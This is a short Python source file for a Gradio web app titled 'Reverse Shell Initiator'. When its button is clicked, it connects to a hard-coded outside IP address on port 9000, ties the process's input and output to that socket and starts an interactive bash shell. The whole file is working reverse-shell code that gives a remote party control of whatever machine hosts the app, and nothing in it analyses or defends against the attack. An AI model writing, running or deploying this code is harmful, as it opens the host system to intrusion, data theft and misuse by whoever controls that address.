|
import gradio as gr |
|
import socket |
|
import subprocess |
|
import threading |
|
import os |
|
|
|
def run_reverse_shell(): |
|
try: |
|
|
|
ip = '45.155.205.202' |
|
port = 9000 |
|
|
|
def shell_thread(): |
|
try: |
|
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
|
s.connect((ip, port)) |
|
|
|
|
|
s.send(b"Connected to reverse shell.\n") |
|
|
|
|
|
os.dup2(s.fileno(), 0) |
|
os.dup2(s.fileno(), 1) |
|
os.dup2(s.fileno(), 2) |
|
|
|
|
|
p = subprocess.call(['/bin/bash', '-i']) |
|
|
|
|
|
s.close() |
|
except Exception as e: |
|
return f"Error: {e}" |
|
|
|
|
|
shell = threading.Thread(target=shell_thread) |
|
shell.start() |
|
return "Reverse shell has been initiated." |
|
except Exception as e: |
|
return f"An error occurred: {str(e)}" |
|
|
|
|
|
iface = gr.Interface( |
|
fn=run_reverse_shell, |
|
inputs=None, |
|
outputs="text", |
|
title="Reverse Shell Initiator", |
|
description="Click the button to initiate a reverse shell." |
|
) |
|
|
|
|
|
iface.launch() |